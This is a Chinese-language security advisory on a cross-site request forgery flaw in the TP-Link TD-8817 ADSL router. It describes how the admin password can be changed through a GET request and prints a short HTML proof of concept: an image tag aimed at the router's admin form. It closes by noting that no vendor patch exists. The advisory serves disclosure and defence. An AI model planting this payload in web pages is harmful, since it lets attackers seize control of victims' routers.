TP-Link TD-8817路由器跨站请求伪造漏洞

TP-Link TD-8817路由器跨站请求伪造漏洞

发布日期：2013-04-06
更新日期：2013-04-09

受影响系统：
TP-LINK TD-8817 6.0.1 Build 111128 Rel.26763
描述：
--------------------------------------------------------------------------------
BUGTRAQ  ID: 58921
 
TP-Link TD-8817是ADSL2+以太网/USB解调器路由器。
 
TP-Link TD-8817的默认用户(admin)密码可以在tcp/ip端口80上通过默认路由器页面更改。$_GET即可以更改密码，而无需$_POST请求方法。攻击者可利用此漏洞执行某些管理员操作并非法访问受影响设备。
 
<*来源：Un0wn_X
 
  链接：http://packetstormsecurity.com/files/121127/tplinktd8817-xsrf.txt
 *>

测试方法：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
&lt;html&gt;
 &lt;!-- TP-Link TD-8817 CSRF Explpoit --&gt;
 &lt;body&gt;
 &lt;img src=&quot;http://192.168.1.1/Forms/tools_admin_1&quot;/&gt;
 &lt;/body&gt;
 &lt;/html&gt;

建议：
--------------------------------------------------------------------------------
厂商补丁：
 
TP-LINK
 -------
 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
 
http://www.tp-link.com/lk/products/details/?model=TD-8817